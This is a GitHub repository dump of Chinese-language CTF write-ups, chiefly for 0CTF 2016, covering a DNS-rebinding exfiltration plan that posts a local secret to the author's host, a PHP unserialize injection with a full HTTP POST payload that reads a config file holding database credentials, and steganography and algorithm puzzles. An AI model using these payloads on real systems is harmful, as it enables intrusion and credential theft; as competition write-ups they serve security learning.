├── .gitignore ├── 0CTF2016 ├── README.md ├── matrix.txt ├── monkey.txt ├── opm_coeff.png ├── opm_equation.png ├── opm_function.png ├── piapiapia.txt ├── xor.txt ├── xor_flag.bmp ├── xor_segment.png └── xor_wrong.png ├── 0CTF2017 └── README.md ├── GoogleCTF2016 ├── README.md ├── connection.py ├── exchange.proto ├── exchange.py ├── exchange2.py ├── exchange3.py ├── exchange4.py ├── exchange5.py ├── exchange_pb2.py ├── illIllusion.cpp ├── pymd5.py └── website_gen_sess.py ├── HCTF2015 ├── README.md ├── lsb_diff.png └── songfen.png ├── QWB2019 ├── README.md ├── generate_eth_address.py ├── scan_log.png ├── scan_log_grep.png ├── webshell_scan_result.png └── webshell_source.png ├── QiangwangCup ├── CTF-Writeups_QiangwangCup.pdf ├── FFT.bmp ├── README.md ├── after_md5.bmp ├── before_md5.bmp ├── check_md5.bmp └── spectrogram.bmp ├── RCTF2015 ├── README.md ├── web300_bad_zip.png ├── web300_hash.png └── web300_payload.png ├── RCTF2019 ├── README.md ├── nextphp │ ├── doc.png │ ├── ffi_enable.png │ ├── final_payload.png │ └── scandir_fileGetContents.png └── sourceGuardian │ ├── output3.txt │ ├── output4.txt │ ├── protected.opcode.txt │ ├── solution.php │ ├── sourceguardian.txt │ └── zend_changes.diff ├── XDCTF2015 ├── README.md └── misc300_1.png ├── XNUCA201607WEB ├── README.md └── perl.png ├── eth_writeup_ethernaut.zeppelin.solutions.md └── 问鼎杯2016 └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.pdf 2 | -------------------------------------------------------------------------------- /0CTF2016/README.md: -------------------------------------------------------------------------------- 1 | # 0ctf 2016 Writeup 2 | 3 | ## monkey 4pts 4 | 5 | 上来就是一个PoW(proof of work),如下解之: 6 | ```python 7 | def solve(st): 8 | i = 0 9 | while True: 10 | s = hex(i) 11 | i += 1 12 | if hashlib.md5(s).hexdigest()[:6] == st: 13 | return s 14 | ``` 15 | 16 | 由于monkey会在页面停留120s, 那么我们让他访问我们的'http://mydomain:8080/evil.html'后,页面里弄一个setTimeout,90s后ajax get一下'http://127.0.0.1:8080/secret',在把这flag post到我们的主机上即可。所谓同源策略的话,在一开始把mydomain的A记录指向我们的服务器,ttl设为60s,在monkey访问页面mydomain:8080/evil.html后,马上把A记录改成127.0.0.1,90s后请求mydomain:8080/secret时就是请求127.0.0.1:8080/secret了。 17 | 18 | evil.html如下: 19 | ```html 20 | 21 | 22 | 23 | 24 | 33 | 34 | 35 | 36 | 37 | ``` 38 | 39 | 记得receive的时候,在somewhereelse/record发送头:`access-control-allow-origin: *`才能接收到flag`array ('data' => '0ctf{monkey_likes_banananananananaaaa}',)` 40 | 41 | ## opm 3pts 42 | stegsolve按行提取rgb LSB得到zip,解压发现是一个arm的二进制代码段dump,转成二进制形式扔ida里,在0xaa109cc4处create function,F5得到这样的东西: 43 | 44 | ![create_function](opm_function.png) 45 | 猜测v6-34是flag字符串,长为16。 46 | 47 | 然后函数结尾处有个check, 48 | ![equation](opm_equation.png) 49 | 50 | 每个被检查的变量都是flag字符串的线性组合,如图: 51 | ![coeff](opm_coeff.png) 52 | 53 | 那么提取系数,解16元线性方程组,得到flag: 54 | ```python 55 | >>> import numpy 56 | >>> a=numpy.array([[-32, 97, 46, 45, 67, 79, -73, -13, -5, 27, -83, -100, -26, -55, 32, -55], [-31, -90, 20, -66, -89, -64, -73, 26, 87, -76, 15, 72, 85, 89, 6, 84], [78, 22, 94, 75, 34, 31, 61, -16, 100, 14, 27, 92, -42, -7, 83, 57], [43, 44, 75, -59, -17, 82, -1, -44, 47, -68, 76, 72, 48, -89, 96, -27], [44, -60, 87, -64, 57, -18, -60, 9, -81, -33, 24, 84, 62, 89, 42, -97], [30, 68, 23, 91, 46, 32, -62, 42, -5, 54, -57, 59, 48, -97, 89, 79], [-29, -14, 14, -89, -60, 11, 49, -79, 75, -86, -99, -57, -10, 9, 62, -97], [58, 58, 17, 91, -98, -75, -5, -60, -26, 83, -81, 80, 97, 6, 31, -69], [-21, -11, 62, -77, 84, -86, 49, -66, -1, 26, -4, -27, -43, -1, 19, 73], [83, 43, 77, 96, 83, -20, 26, -7, -89, -60, -23, 68, -51, -75, 42, 35], [74, 58, 73, -86, -100, 71, 12, 66, 69, 50, 48, 58, -52, 14, 45, -91], [-60, -61, 26, -31, 20, -59, -53, 72, 68, -90, -41, -74, 48, -27, 30, 8], [-26, 19, 31, -16, -95, 33, 64, -83, 10, 98, -35, -76, 7, -12, 25, -34], [-89, 61, -40, -67, 20, 42, 27, -37, 38, -16, 71, 16, 75, 4, 51, -6], [32, 57, -92, -47, 40, -54, -21, -25, -14, 91, 64, 39, 7, 38, 96, 82], [-56, -6, 55, 42, -6, -38, -37, -27, 64, 16, -54, -53, -96, -31, 84, 100]]) 57 | >>> y=numpy.array([-7026,-2645,53442,20609,8630,27564,-27078,15265,-12183,17452,31435,-23099,-8136,13019,20430,-12714]) 58 | >>> import numpy.linalg 59 | >>> x=numpy.linalg.solve(a,y) 60 | >>> x 61 | array([ 84., 114., 52., 99., 49., 78., 103., 95., 70., 62 | 48., 82., 95., 70., 117., 78., 33.]) 63 | >>> ''.join([chr(int(round(i))) for i in x]) 64 | 'Tr4c1Ng_F0R_FuN!' 65 | ``` 66 | 67 | ## piapiapia 6pts 68 | 这道题的漏洞是在于: 69 | 1. `$profile['nickname']`可以填数组,绕过检测。 70 | 2. 更新profile时,序列化后的`$profile`经过filter()过滤后,`'where'`或会变为`'hacker'`,也就是`s:5:"where";`会变成了`s:5:"hacker";`,导致长度不一样,序列化后的格式被破坏,导致反序列化失败。但我们可以精心调整where的个数和双引号的位置,就可以注入任意键值对到反序列化后的`$profile`里,而反序列化后,原代码会读取`$profile['photo']`路径的文件,返回给我们。考虑通过精心调整nickname,把`$profile['photo']`改成`'/var/www/html/config.php'`(经测试发现'../config.php'无效...)。利用以下代码生成payload和模拟这个过程: 71 | 72 | ```php 73 | "; 98 | echo filter(serialize($profile)); 99 | echo "
"; 100 | var_dump(unserialize(filter(serialize($profile)))); 101 | ``` 102 | 103 | 104 | 输出 105 | ``` 106 | array(4) { 107 | ["phone"]=> 108 | string(1) "1" 109 | ["email"]=> 110 | string(1) "1" 111 | ["nickname"]=> 112 | array(1) { 113 | [0]=> 114 | string(288) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:24:"/var/www/html/config.php";}" 115 | } 116 | ["photo"]=> 117 | string(39) "upload/698d51a19d8a121ce581499d7b701668" 118 | } 119 |
a:4:{s:5:"phone";s:1:"1";s:5:"email";s:1:"1";s:8:"nickname";a:1:{i:0;s:288:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:24:"/var/www/html/config.php";}";}s:5:"photo";s:39:"upload/698d51a19d8a121ce581499d7b701668";}
array(4) { 120 | ["phone"]=> 121 | string(1) "1" 122 | ["email"]=> 123 | string(1) "1" 124 | ["nickname"]=> 125 | array(1) { 126 | [0]=> 127 | string(288) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" 128 | } 129 | ["photo"]=> 130 | string(24) "/var/www/html/config.php" 131 | } 132 | ``` 133 | 134 | 可以看到最后`$profile["photo"]`被修改成了想要的值。base64解码返回值,得到: 135 | ```python 136 | >>> print '''PD9waHAKCSRjb25maWdbJ2hvc3RuYW1lJ10gPSAnMTI3LjAuMC4xJzsKCSRjb25maWdbJ3VzZXJuYW1lJ10gPSAnMGN0Zic7CgkkY29uZmlnWydwYXNzd29yZCddID0gJ29oLW15LSoqKiotd2ViJzsKCSRjb25maWdbJ2RhdGFiYXNlJ10gPSAnMENURl9XRUInOwoJJGZsYWcgPSAnMGN0ZntmYTcxN2I0OTY0OWZiYjljMGRkMGQxNjYzNDY5YTg3MX0nOwo/Pgo='''.decode('base64') 137 | 144 | ``` 145 | 146 | payload: 147 | ``` 148 | POST /update.php HTTP/1.1 149 | Host: 202.120.7.203:8888 150 | Content-Length: 979 151 | Cache-Control: max-age=0 152 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 153 | Origin: http://202.120.7.203:8888 154 | Upgrade-Insecure-Requests: 1 155 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 156 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJPbDrUHm4bYPsH4Q 157 | Referer: http://202.120.7.203:8888/update.php 158 | Accept-Encoding: gzip, deflate 159 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4 160 | Cookie: PHPSESSID=qsfo7b17a6ajo5usvmkaqqi636 161 | 162 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q 163 | Content-Disposition: form-data; name="phone" 164 | 165 | 11111111111 166 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q 167 | Content-Disposition: form-data; name="email" 168 | 169 | 2@example.com 170 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q 171 | Content-Disposition: form-data; name="nickname[]" 172 | 173 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:24:"/var/www/html/config.php";} 174 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q 175 | Content-Disposition: form-data; name="photo"; filename="2.gif" 176 | Content-Type: application/octet-stream 177 | 178 | 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 179 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q-- 180 | ``` 181 | 182 | ## xor painter 4pts 183 | 下下来一个一堆坐标的文件,一开始以为是每行是一条直线两个端点的坐标(x1, y1, x2, y2),画出来然后直线的交叉点异或处理。后来画出来一个三角形区域,就知道了是(x1, x2, y1, y2)。在画出来一个正方形区域里一坨雪花,仔细想想后发现应该是每行表示一个矩形而不是直线,然后问题就变成了顶点上矩形覆盖数的奇偶性问题,用二维线段树去弄,复杂度才可以接受,就是poj2155原题。懒得写二维线段树就上网随便抄了段题解代码跑(oi的代码果然还是不可靠各种崩,换了n种版本终于不崩了),找了个大内存机器后强行开几G数组跑线段树,发现画出来一个似是而非的东西,中间一坨1像素的直线干扰,如下: 184 | 185 | ![错误的图](xor_wrong.png) 186 | 187 | 后来在开了脑洞,估计就是右下角坐标需要-1,也就是这矩形区域是左闭右开的,然后就画出对的图了,就是一张18000*18000的图里面有大概几个像素大小的字母散落在大图的各处....还需要后续处理一下... 188 | 189 | 二维线段树的c++代码,算法部分直接抄自网上某角落的题解: 190 | ```cpp 191 | 192 | #define SIZE (18000) 193 | #define maxn (72010) 194 | #define DIR "./" 195 | 196 | #define LINE_NUM (13663881) 197 | #include 198 | #include 199 | #include 200 | 201 | using namespace std; 202 | bool *tree[maxn]; 203 | int n; 204 | bool sum; 205 | 206 | /* 207 | 更新子线段树,tl、tr对应子矩阵的y1、y2,即要更新的范围。 208 | rtx:母线段树(x轴)的节点,表示该子线段树属于母线段树的节点rtx 209 | rt:子线段树的节点序号 210 | L,R为子线段树节点rt的两端点 211 | */ 212 | void updatey(int rtx, int rt, int tl, int tr, int L, int R) { 213 | //一开始弄反了,写成L<=tl && tr<=R。。。 214 | //要注意,应该是所在节点rt的区间在所要更新的节点范围里,更新节点rt的区间对应的值 215 | if (tl <= L && R <= tr) { 216 | tree[rtx][rt] = !tree[rtx][rt]; //对属于更新范围里的子矩阵进行取反 217 | return; 218 | } 219 | int mid = (L + R) >> 1; 220 | //下面部分也可以换成注释掉的语句 221 | if (tl <= mid) 222 | updatey(rtx, rt << 1, tl, tr, L, mid); 223 | if (tr>mid) 224 | updatey(rtx, rt << 1 | 1, tl, tr, mid + 1, R); 225 | /* 226 | if(tr<=mid) 227 | updatey(rtx,rt<<1,tl,tr,L,mid); 228 | else if(tl>mid) 229 | updatey(rtx,rt<<1|1,tl,tr,mid+1,R); 230 | else{ 231 | updatey(rtx,rt<<1,tl,mid,L,mid); 232 | updatey(rtx,rt<<1|1,mid+1,tr,mid+1,R); 233 | } 234 | */ 235 | 236 | 237 | 238 | } 239 | /* 240 | 更新左上角(x1,y1),右下角(xr,yr)的子矩阵区域 241 | 更新时,先在x轴找到对应[xl,xr]区间的点,再找按y轴找到对应[yl,yr]区间的节点 242 | rt:母线段树的节点序号 243 | L,R:rt节点的区间端点 244 | */ 245 | void updatex(int rt, int xl, int xr, int yl, int yr, int L, int R) { 246 | //一开始弄反了,写成L<=xl && xr<=R。。。 247 | if (xl <= L && R <= xr) { 248 | updatey(rt, 1, yl, yr, 0, n); 249 | return; 250 | } 251 | int mid = (L + R) >> 1; 252 | //下面部分也可以换成注释掉的语句 253 | if (xl <= mid) 254 | updatex(rt << 1, xl, xr, yl, yr, L, mid); 255 | if (xr>mid) 256 | updatex(rt << 1 | 1, xl, xr, yl, yr, mid + 1, R); 257 | /* 258 | if(xr<=mid) 259 | updatex(rt<<1,xl,xr,yl,yr,L,mid); 260 | else if(xl>mid) 261 | updatex(rt<<1|1,xl,xr,yl,yr,mid+1,R); 262 | else{ 263 | updatex(rt<<1,xl,mid,yl,yr,L,mid); 264 | updatex(rt<<1|1,mid+1,xr,yl,yr,mid+1,R); 265 | } 266 | */ 267 | 268 | } 269 | /* 270 | 这里注意的是,是直到L!=R的时候,才停止查询,否则就要一直查询下去,直到查询到y所在的叶子节点 271 | 因为这里“异或”就相当于lazy标记,所以要获得最后的值,则必须遍历过y所在的所有子矩阵 272 | rtx:母线段树(x轴)的节点,表示该子线段树属于母线段树的节点rtx 273 | rt:子线段树的节点序号 274 | L,R为子线段树节点rt的两端点 275 | */ 276 | void queryy(int rtx, int rt, int y, int L, int R) { 277 | sum ^= tree[rtx][rt]; //这里注意:要先异或! 278 | if (L != R) { 279 | int mid = (L + R) >> 1; 280 | if (y <= mid) 281 | queryy(rtx, rt << 1, y, L, mid); 282 | else 283 | queryy(rtx, rt << 1 | 1, y, mid + 1, R); 284 | } 285 | } 286 | /* 287 | 这里注意的是,是直到L!=R的时候,才停止查询,否则就要一直查询下去,直到查询到点x所在的叶子节点 288 | 因为这里“异或”就相当于lazy标记,所以要获得(x,y)最后的值,则必须遍历过(x,y)点所在的所有子矩阵 289 | rt:母线段树的节点序号 290 | L,R为子线段树节点rt的两端点 291 | x,y为所要查找的点的值 292 | */ 293 | void queryx(int rt, int x, int y, int L, int R) { 294 | queryy(rt, 1, y, 0, n); 295 | //注意:当L> 1; 298 | if (x <= mid) 299 | queryx(rt << 1, x, y, L, mid); 300 | else 301 | queryx(rt << 1 | 1, x, y, mid + 1, R); 302 | } 303 | } 304 | 305 | int main() { 306 | 307 | for (int i = 0; i < maxn; i++) { 308 | tree[i] = new bool[maxn]; 309 | memset(tree[i], 0, sizeof(bool[maxn])); 310 | } 311 | 312 | n = SIZE; 313 | 314 | FILE *f = fopen(DIR"xorlist", "r"); 315 | int x1, y1, x2, y2; 316 | for (int i = 0; i < LINE_NUM; i++) { 317 | fscanf(f, "%d, %d, %d, %d", &x1, &x2, &y1, &y2); 318 | updatex(1, x1, x2-1, y1, y2-1, 0, n); 319 | if (i % 500000 == 0) 320 | printf("%d\n", i); 321 | } 322 | fclose(f); 323 | 324 | f = fopen(DIR"xor.output", "w"); 325 | for (int i = 0; i < SIZE; i++) { 326 | for (int j = 0; j < SIZE; j++) { 327 | sum = false; 328 | queryx(1, x1, y1, 0, n); 329 | fprintf(f, "%c", sum ? '1' : '0'); 330 | } 331 | if(i%10==0) printf("%d\n", i); 332 | fprintf(f, "\n"); 333 | } 334 | fclose(f); 335 | 336 | return 0; 337 | } 338 | ``` 339 | 340 | 341 | 用PIL把输出画成大图: 342 | ```python 343 | from PIL import Image 344 | def draw(): 345 | size = 18000 346 | a=open('./xor.output','rb').read() 347 | a=a.replace('\r','').split('\n') 348 | b=Image.new('L',(size,size)) 349 | for i in xrange(size): 350 | if i%100==0: print i 351 | for j in xrange(size): 352 | b.putpixel((j, i), 255 if a[i][j]=='1' else 0) 353 | b.resize((1000,1000)).save('./xor3.bmp') 354 | b.save('./xor_original3.png') 355 | ``` 356 | 357 | 找字母用代码,把图片和对应坐标打出来: 358 | ```python 359 | import Image 360 | img = Image.open('./xor_original3.png') 361 | counter = 0 362 | x=0 363 | while x<180: 364 | print x 365 | y=0 366 | while y<180: 367 | flag = 0 368 | for i in xrange(100): 369 | for j in xrange(100): 370 | if img.getpixel((y*100+j, x*100+i)) == 0: 371 | flag += 1 372 | if flag > 10: break 373 | if flag > 10: break 374 | if flag > 10: 375 | counter += 1 376 | img.crop((y*100, x*100, (y+1)*100-1, (x+1)*100-1)).save('xor/%d_%d_%d.png' % (counter, x, y)) 377 | y+=1 378 | counter += 1 379 | img.crop((0, 0, 99, 99)).save('xor/%d.png' % counter) 380 | x+=1 381 | ``` 382 | 383 | 画出来这样的一堆图: 384 | ![小字母](xor_segment.png) 385 | 386 | 人肉识别一下: 387 | ``` 388 | 10_9_19.png 0 389 | 115_89_35.png B 390 | 117_90_35.png B 391 | 121_93_73.png i 392 | 124_95_89.png G 393 | 126_96_6.png _ 394 | 127_96_7.png _ 395 | 128_96_89.png G 396 | 12_10_18.png 0 397 | 134_101_127.png _ 398 | 135_101_144.png B 399 | 13_10_19.png 0 400 | 152_117_125.png p 401 | 155_119_44.png t 402 | 163_126_14.png i 403 | 164_126_74.png m 404 | 165_126_89.png a 405 | 167_127_89.png a 406 | 16_12_46.png c 407 | 170_129_152.png } 408 | 17_12_92.png f 409 | 19_13_92.png f 410 | 22_15_66.png t 411 | 26_18_122.png { 412 | 27_18_149.png 5 413 | 50_40_19.png m 414 | 51_40_20.png m 415 | 53_41_19.png m 416 | 54_41_20.png m 417 | 55_41_118.png _ 418 | 58_43_153.png f 419 | 61_45_72.png L 420 | 62_45_73.png L 421 | 64_46_44.png @ 422 | 66_47_89.png L 423 | 84_64_70.png g 424 | 89_68_119.png # 425 | 93_71_36.png @ 426 | 95_72_94.png _ 427 | 96_72_144.png n 428 | 98_73_13.png L 429 | ``` 430 | 431 | 重新渲染一张图... 432 | ```python 433 | >>> zip(b,c) 434 | [((9, 19), '0'), ((89, 35), 'B'), ((90, 35), 'B'), ((93, 73), 'i'), ((95, 89), 'G'), ((96, 6), '_'), ((96, 7), '_'), ((96, 89), 'G'), ((10, 18), '0'), ((101, 127), '_'), ((101, 144), 'B'), ((10, 19), '0'), ((117, 125), 'p'), ((119, 44), 't'), ((126, 14), 'i'), ((126, 74), 'm'), ((126, 89), 'a'), ((127, 89), 'a'), ((12, 46), 'c'), ((129, 152), '}'), ((12, 92), 'f'), ((13, 92), 'f'), ((15, 66), 't'), ((18, 122), '{'), ((18, 149), '5'), ((40, 19), 'm'), ((40, 20), 'm'), ((41, 19), 'm'), ((41, 20), 'm'), ((41, 118), '_'), ((43, 153), 'f'), ((45, 72), 'L'), ((45, 73), 'L'), ((46, 44), '@'), ((47, 89), 'L'), ((64, 70), 'g'), ((68, 119), '#'), ((71, 36), '@'), ((72, 94), '_'), ((72, 144), 'n'), ((73, 13), 'L')] 435 | >>> a=Image.new('L',(180,180)) 436 | >>> dr=ImageDraw.Draw(a) 437 | >>> for i,j in zip(b,c): 438 | ... dr.text(i, unicode(j,'UTF-8'), font=font, fill=255) 439 | ... 440 | >>> a.show() 441 | >>> a.save('flag.png') 442 | ``` 443 | 444 | 得到flag: 445 | ![flag](xor_flag.bmp) 446 | -------------------------------------------------------------------------------- /0CTF2016/matrix.txt: -------------------------------------------------------------------------------- 1 | # opm 3pts 2 | stegsolve按行提取rgb LSB得到zip,解压发现是一个arm的二进制代码段dump,转成二进制形式扔ida里,在0xaa109cc4处create function,F5得到这样的东西: 3 | 4 | ![create_function](opm_function.png) 5 | 猜测v6-34是flag字符串,长为16。 6 | 7 | 然后函数结尾处有个check, 8 | ![equation](opm_equation.png) 9 | 10 | 每个被检查的变量都是flag字符串的线性组合,如图: 11 | ![coeff](opm_coeff.png) 12 | 13 | 那么提取系数,解16元线性方程组,得到flag: 14 | ```python 15 | >>> import numpy 16 | >>> a=numpy.array([[-32, 97, 46, 45, 67, 79, -73, -13, -5, 27, -83, -100, -26, -55, 32, -55], [-31, -90, 20, -66, -89, -64, -73, 26, 87, -76, 15, 72, 85, 89, 6, 84], [78, 22, 94, 75, 34, 31, 61, -16, 100, 14, 27, 92, -42, -7, 83, 57], [43, 44, 75, -59, -17, 82, -1, -44, 47, -68, 76, 72, 48, -89, 96, -27], [44, -60, 87, -64, 57, -18, -60, 9, -81, -33, 24, 84, 62, 89, 42, -97], [30, 68, 23, 91, 46, 32, -62, 42, -5, 54, -57, 59, 48, -97, 89, 79], [-29, -14, 14, -89, -60, 11, 49, -79, 75, -86, -99, -57, -10, 9, 62, -97], [58, 58, 17, 91, -98, -75, -5, -60, -26, 83, -81, 80, 97, 6, 31, -69], [-21, -11, 62, -77, 84, -86, 49, -66, -1, 26, -4, -27, -43, -1, 19, 73], [83, 43, 77, 96, 83, -20, 26, -7, -89, -60, -23, 68, -51, -75, 42, 35], [74, 58, 73, -86, -100, 71, 12, 66, 69, 50, 48, 58, -52, 14, 45, -91], [-60, -61, 26, -31, 20, -59, -53, 72, 68, -90, -41, -74, 48, -27, 30, 8], [-26, 19, 31, -16, -95, 33, 64, -83, 10, 98, -35, -76, 7, -12, 25, -34], [-89, 61, -40, -67, 20, 42, 27, -37, 38, -16, 71, 16, 75, 4, 51, -6], [32, 57, -92, -47, 40, -54, -21, -25, -14, 91, 64, 39, 7, 38, 96, 82], [-56, -6, 55, 42, -6, -38, -37, -27, 64, 16, -54, -53, -96, -31, 84, 100]]) 17 | >>> y=numpy.array([-7026,-2645,53442,20609,8630,27564,-27078,15265,-12183,17452,31435,-23099,-8136,13019,20430,-12714]) 18 | >>> import numpy.linalg 19 | >>> x=numpy.linalg.solve(a,y) 20 | >>> x 21 | array([ 84., 114., 52., 99., 49., 78., 103., 95., 70., 22 | 48., 82., 95., 70., 117., 78., 33.]) 23 | >>> ''.join([chr(int(round(i))) for i in x]) 24 | 'Tr4c1Ng_F0R_FuN!' 25 | ``` -------------------------------------------------------------------------------- /0CTF2016/monkey.txt: -------------------------------------------------------------------------------- 1 | # monkey 4pts 2 | 3 | 上来就是一个PoW(proof of work),如下解之: 4 | ```python 5 | def solve(st): 6 | i = 0 7 | while True: 8 | s = hex(i) 9 | i += 1 10 | if hashlib.md5(s).hexdigest()[:6] == st: 11 | return s 12 | ``` 13 | 14 | 由于monkey会在页面停留120s, 那么我们让他访问我们的'http://mydomain:8080/evil.html'后,页面里弄一个setTimeout,90s后ajax get一下'http://127.0.0.1:8080/secret',在把这flag post到我们的主机上即可。所谓同源策略的话,在一开始把mydomain的A记录指向我们的服务器,ttl设为60s,在monkey访问页面mydomain:8080/evil.html后,马上把A记录改成127.0.0.1,90s后请求mydomain:8080/secret时就是请求127.0.0.1:8080/secret了。 15 | 16 | evil.html如下: 17 | ```html 18 | 19 | 20 | 21 | 22 | 31 | 32 | 33 | 34 | 35 | ``` 36 | 37 | 记得receive的时候,在somewhereelse/record发送头:`access-control-allow-origin: *`才能接收到flag`array ('data' => '0ctf{monkey_likes_banananananananaaaa}',)` 38 | -------------------------------------------------------------------------------- /0CTF2016/opm_coeff.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/opm_coeff.png -------------------------------------------------------------------------------- /0CTF2016/opm_equation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/opm_equation.png -------------------------------------------------------------------------------- /0CTF2016/opm_function.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/opm_function.png -------------------------------------------------------------------------------- /0CTF2016/piapiapia.txt: -------------------------------------------------------------------------------- 1 | # piapiapia 6pts 2 | 这道题的漏洞是在于: 3 | 1. `$profile['nickname']`可以填数组,绕过检测。 4 | 2. 更新profile时,序列化后的`$profile`经过filter()过滤后,`'where'`或会变为`'hacker'`,也就是`s:5:"where";`会变成了`s:5:"hacker";`,导致长度不一样,序列化后的格式被破坏,导致反序列化失败。但我们可以精心调整where的个数和双引号的位置,就可以注入任意键值对到反序列化后的`$profile`里,而反序列化后,原代码会读取`$profile['photo']`路径的文件,返回给我们。考虑通过精心调整nickname,把`$profile['photo']`改成`'/var/www/html/config.php'`(经测试发现'../config.php'无效...)。利用以下代码生成payload和模拟这个过程: 5 | 6 | ```php 7 | "; 32 | echo filter(serialize($profile)); 33 | echo "
"; 34 | var_dump(unserialize(filter(serialize($profile)))); 35 | ``` 36 | 37 | 38 | 输出 39 | ``` 40 | array(4) { 41 | ["phone"]=> 42 | string(1) "1" 43 | ["email"]=> 44 | string(1) "1" 45 | ["nickname"]=> 46 | array(1) { 47 | [0]=> 48 | string(288) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:24:"/var/www/html/config.php";}" 49 | } 50 | ["photo"]=> 51 | string(39) "upload/698d51a19d8a121ce581499d7b701668" 52 | } 53 |
a:4:{s:5:"phone";s:1:"1";s:5:"email";s:1:"1";s:8:"nickname";a:1:{i:0;s:288:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:24:"/var/www/html/config.php";}";}s:5:"photo";s:39:"upload/698d51a19d8a121ce581499d7b701668";}
array(4) { 54 | ["phone"]=> 55 | string(1) "1" 56 | ["email"]=> 57 | string(1) "1" 58 | ["nickname"]=> 59 | array(1) { 60 | [0]=> 61 | string(288) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" 62 | } 63 | ["photo"]=> 64 | string(24) "/var/www/html/config.php" 65 | } 66 | ``` 67 | 68 | 可以看到最后`$profile["photo"]`被修改成了想要的值。base64解码返回值,得到: 69 | ```python 70 | >>> print '''PD9waHAKCSRjb25maWdbJ2hvc3RuYW1lJ10gPSAnMTI3LjAuMC4xJzsKCSRjb25maWdbJ3VzZXJuYW1lJ10gPSAnMGN0Zic7CgkkY29uZmlnWydwYXNzd29yZCddID0gJ29oLW15LSoqKiotd2ViJzsKCSRjb25maWdbJ2RhdGFiYXNlJ10gPSAnMENURl9XRUInOwoJJGZsYWcgPSAnMGN0ZntmYTcxN2I0OTY0OWZiYjljMGRkMGQxNjYzNDY5YTg3MX0nOwo/Pgo='''.decode('base64') 71 | 78 | ``` 79 | 80 | payload: 81 | ``` 82 | POST /update.php HTTP/1.1 83 | Host: 202.120.7.203:8888 84 | Content-Length: 979 85 | Cache-Control: max-age=0 86 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 87 | Origin: http://202.120.7.203:8888 88 | Upgrade-Insecure-Requests: 1 89 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 90 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJPbDrUHm4bYPsH4Q 91 | Referer: http://202.120.7.203:8888/update.php 92 | Accept-Encoding: gzip, deflate 93 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4 94 | Cookie: PHPSESSID=qsfo7b17a6ajo5usvmkaqqi636 95 | 96 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q 97 | Content-Disposition: form-data; name="phone" 98 | 99 | 11111111111 100 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q 101 | Content-Disposition: form-data; name="email" 102 | 103 | 2@example.com 104 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q 105 | Content-Disposition: form-data; name="nickname[]" 106 | 107 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:24:"/var/www/html/config.php";} 108 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q 109 | Content-Disposition: form-data; name="photo"; filename="2.gif" 110 | Content-Type: application/octet-stream 111 | 112 | 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 113 | 